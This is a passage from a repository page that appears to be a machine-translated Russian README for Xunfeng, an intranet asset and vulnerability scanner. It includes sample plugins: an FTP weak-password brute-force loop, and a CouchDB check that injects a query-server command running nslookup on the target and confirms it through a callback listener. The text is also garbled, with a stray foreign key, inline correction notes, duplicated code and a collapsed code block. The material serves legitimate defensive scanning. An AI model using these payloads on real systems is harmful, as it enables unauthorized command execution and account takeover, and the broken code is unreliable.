1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/songboy-xunfeng

Присоединиться к Gitlife
Откройте для себя и примите участие в публичных проектах с открытым исходным кодом с участием более 10 миллионов разработчиков. Приватные репозитории также полностью бесплатны :)
Присоединиться бесплатно
Клонировать/Скачать
Внести вклад в разработку кода
Синхронизировать код
Отмена
Подсказка: Поскольку Git не поддерживает пустые директории, создание директории приведёт к созданию пустого файла .keep.
Loading...
README.md

Описание системы "巡风" Лицензия


Xunfeng — это система быстрого реагирования и сканирования для внутренних сетей предприятий, которая позволяет четко понять распределение активов внутри сети с помощью поиска и выполнять быструю проверку уязвимостей с использованием специализированных плагинов.

Этот софт предназначен только для начального исследования и не имеет агрессивной направленности. Пожалуйста, используйте его в соответствии с законом «Закон КНР о безопасности информационных сетей». Никогда не используйте систему "Xunfeng" для незаконных тестов. Компании YSRC, Центра управления безопасностью компании Trip.com и компании Trip.com Network Technology Co., Ltd. не несут никакой ответственности за последствия использования этого софта.

Система состоит из двух основных частей: идентификационного движка активов, движка проверки уязвимостей.

Идентификационный движок активов выполняет регулярное автоматическое сканирование портов в диапазонах IP, указанных пользователем (поддерживает вызов MASSCAN), и проводит анализ пальцев (фишинг). Анализ включает тип сервиса, контейнер компонента, язык программирования, CMS.Движок проверки уязвимостей выполняет периодическую или одноразовую проверку уязвимостей в зависимости от правил задач, указанных пользователем. Поддерживает два типа плагинов — метки и скрипты, все они могут быть добавлены через веб-консоль.## Инструкция по установке

Python 2.7 MyGet

Русская зеркальная версия https://code.aliyun.com/ysrc/xunfeng.git

  • В разделе Конфигурация — Паук — список сканирования активов сетей укажите диапазоны внутреннего IP (обязательно для заполнения, иначе система будет работать некорректно; максимальное количество B-диапазонов для каждого IP-диапазона составляет 10).
  • В разделе Конфигурация — Паук — цикл сканирования активов сетей укажите правила планирования.
  • Можно использовать MASSCAN (диапазон сканирования — все порты) вместо стандартного скрипта сканирования портов. После установки MASSCAN укажите полный абсолютный путь программы и нажмите кнопку "Открыть", чтобы завершить переход. MASSCAN требует chmod +x для предоставления права выполнения и требуется выполнить его самостоятельно, чтобы убедиться, что он работает правильно перед тем, как открыть.
  • Другие настройки можно изменить в соответствии с вашими потребностями.

Создание плагинов

Поддержка плагинов включает два типа: метаданные JSON и скрипты Python. Плагины могут быть установлены через официальные каналы распространения или добавлены самостоятельно.### Метаданные JSON

Пример метаданных JSON

Скрипт Python

Стандарт создания плагинов очень прост, требуется только определение информации о плагине с помощью метода get_plugin_info, а также реализация функции check для проверки наличия уязвимости.

# кодировка:utf-8

import ftplib

def get_plugin_info():  # информация о плагине
    plugin_info = {
        "name": "Уязвимость FTP слабыми паролями",
        "info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к полной потере контроля над сервером.",
        Yöntem: "Критическая",
        "type": "Слабый пароль",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # рекомендованное ключевое слово для поиска
    }
    return plugin_info

def check(ip, port, timeout): # код проверки уязвимости
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in PASSWORD_DIC:  # список паролей не требует явного определения, он будет автоматически заполнен.
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '':
                    pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp':
                    return u"Анонимный вход возможен"
                return u"Найдены слабые пароли, имя пользователя: {}, пароль: {}".format(user, pass_)  # успешный ответ, отображается на странице результатов сканирования.
            except:
                pass

Исправление:

Yöntem: "Критическая",

на

"level": "Критическая",

Также исправляем:

PASSWORD_DIC

на

password_dic

Итоговый текст:

Метаданные JSON

Пример метаданных JSON

Скрипт Python

Стандарт создания плагинов очень прост, требуется только определение информации о плагине с помощью метода get_plugin_info, а также реализация функции check для проверки наличия уязвимости.

# кодировка:utf-8

import ftplib

def get_plugin_info():  # информация о плагине
    plugin_info = {
        "name": "Уязвимость FTP слабыми паролями",
        "info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к полной потере контроля над сервером.",
        "level": "Критическая",
        "type": "Слабый пароль",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # рекомендованное ключевое слово для поиска
    }
    return plugin_info

def check(ip, port, timeout): # код проверки уязвимости
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in password_dic:  # список паролей не требует явного определения, он будет автоматически заполнен.
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '':
                    pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp':
                    return u"Анонимный вход возможен"
                return u"Найдены слабые пароли, имя пользователя: {}, пароль: {}".format(user, pass_)  # успешный ответ, отображается на странице результатов сканирования.
            except:
                pass
```Дополнительно система предоставляет встроенные механизмы для дополнительной проверки:

> DNS: триггер, nslookup randomstr IP, проверка, http://ip:8088/randomstr, если ответ YES  значит уязвимость существует.

> HTTP: триггер, http://ip:8088/add/randomstr, проверка, http://ip:8088/check/randomstr, если ответ YES  значит уязвимость существует.

Пример использования:

```python
import urllib2
import random
import socket

def get_plugin_info():  # информация о плагине
    plugin_info = {
            "name": "Неавторизованный доступ к CouchDB",
            "info": "Позволяет злоумышленникам получить доступ к конфиденциальной информации, что может привести к выполнению системных команд и захвату контроля над сервером.",
            "level": "Критическая",
            "method": "Неавторизованный доступ",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # рекомендованное ключевое слово для поиска
    }

Получение версионированного IP адреса

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

Генерация случайной строки

def random_str(length):
    result = ""
    for _ in range(length):
        result += random.choice("ABCDEFGH1234567890")
    return str(result)

Проверка доступа```python

def check(ip, port, timeout): rand_str = random_str(8) cmd = random_str(4) server_ip = get_ver_ip(ip) req_list = [ ["/_config/query_servers/%s" % cmd, '"nslookup %s %s > log"' % (rand_str, server_ip)], ["/vultest123", ""], ["/vultest123/test", '{"_id": "safetest"}'] ] for req_info in req_list: try: request = urllib2.Request(url + req_info[0], req_info[1], timeout=timeout) request.get_method = lambda: 'PUT' urllib2.urlopen(request) except: pass try: req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11", '{"language": "%s", "map": ""}' % cmd) req_exec.add_header("Content-Type", "application/json") urllib2.urlopen(req_exec) except: pass check_response = urllib2.urlopen("http://%s:8088/%s" % (server_ip, rand_str)).read() if 'YES' in check_response: return u"Неавторизованный доступ"


```markdown
# Проверка доступа

Функция `check` проверяет наличие неавторизованного доступа к серверу.

## Параметры

- **ip**: IP-адрес сервера.
- **port**: Номер порта.
- **timeout**: Время ожидания ответа.

## Логика работы

1. Генерируется случайная строка `rand_str` длиной 8 символов.
2. Генерируется случайная команда `cmd` длиной 4 символа.
3. Получается верифицированный IP-адрес сервера `server_ip`.
4. Создаются запросы для отправки на сервер:

   ```python
   req_list = [
       ["/_config/query_servers/%s" % cmd, '"nslookup %s %s > log"' % (rand_str, server_ip)],
       ["/vultest123", ""],
       ["/vultest123/test", '{"_id": "safetest"}']
   ]
  1. Для каждого запроса выполняется попытка отправки с использованием метода PUT.

    for req_info in req_list:
        try:
            request = urllib2.Request(url + req_info[0], req_info[1], timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
  2. Выполняется специальный запрос для тестирования временной вьюшки:

    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",
                                   '{"language": "%s", "map": ""}' % cmd)
        req_exec.add_header("Content-Type", "application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
  3. Проверяется ответ на запрос nslookup, который был запущен ранее.

    check_response = urllib2.urlopen("http://%s:8088/%s" % (server_ip, rand_str)).read()
  4. Если в ответе содержится строка 'YES', то возвращается сообщение о неавторизованном доступе.

    if 'YES' in check_response:
        return u"Неавторизованный доступ"

[![](https://sec-pic-ly.b0.upaiyun.com/xunfeng/static/intro.png)](https://sec-pic-ly.b0.upaiyun.com/xunfeng/xunfeng.mp4)## Структура файлов

│ Config.py # конфигурационный файл │ README.md # документация │ Run.bat # запуск службы в Windows │ Run.py # веб-сервер │ Run.sh # запуск службы в Linux, перед повторным запуском требуется завершение процесса │ ├─aider │ Aider.py # вспомогательный скрипт проверки │ ├─db # начальная структура базы данных │ ├─masscan # встроенный скомпилированный Masscan (для CentOS/win64), требует chmod+x для выполнения (root), если не работает, рекомендуется самостоятельно скомпилировать и установить. ├─nascan │ │ NAScan.py # движок сбора информации о сетевых активных объектах │ │ │ ├─lib │ │ Common.py # общие методы │ │ ICMP.py # класс отправки ICMP │ │ Log.py # вывод логов │ │ Mongo.py # соединение с базой данных │ │ Scan.py # сканирование и распознавание │ │ Start.py # управление потоками │ │ │ └─plugin │ Masscan.py # скрипт вызова Masscan │ ├─views │ │ View.py # обработка веб-запросов │ │ │ ├─lib │ │ Conn.py # общий класс для работы с базой данных │ │ CreateExcel.py # работа с таблицами │ │ Login.py # проверка прав доступа │ │ QueryLogic.py # анализ запросов │ │ │ ├─static # директория статических ресурсов │ │ │ └─templates # директория шаблонов │ └─vulscan │ VulScan.py # движок обнаружения уязвимостей │


Сканируйте下面的二维码以关注YSRC公众号,回复您的微信号+巡风,将会有专人邀请您加入巡风的微信讨论群。



Сканируйте下面的二维码以关注YSRC公众号,回复您的微信号+巡风,将会有专人邀请您加入巡风的微信讨论群.![QR Code](http://mmbiz.qpic.cn/mmbiz/PAV8ewtdsKpkeG9VRYNhC76iacVSe3ichYiajictdF2Q34PQo7iaPV15jjGiaAev6SqpeK5maDvtAYUtqXEYUib4ljM3A/640?wx_fmt=jpeg&tp=webp&wxfrom=5&wx_lazy=1)

Комментарии ( 0 )

Вы можете оставить комментарий после Вход в систему

Введение

Описание недоступно Развернуть Свернуть
GPL-3.0
Отмена

Обновления

Пока нет обновлений

Участники

все

Недавние действия

Загрузить больше
Больше нет результатов для загрузки
1
https://api.gitlife.ru/oschina-mirror/songboy-xunfeng.git
git@api.gitlife.ru:oschina-mirror/songboy-xunfeng.git
oschina-mirror
songboy-xunfeng
songboy-xunfeng
master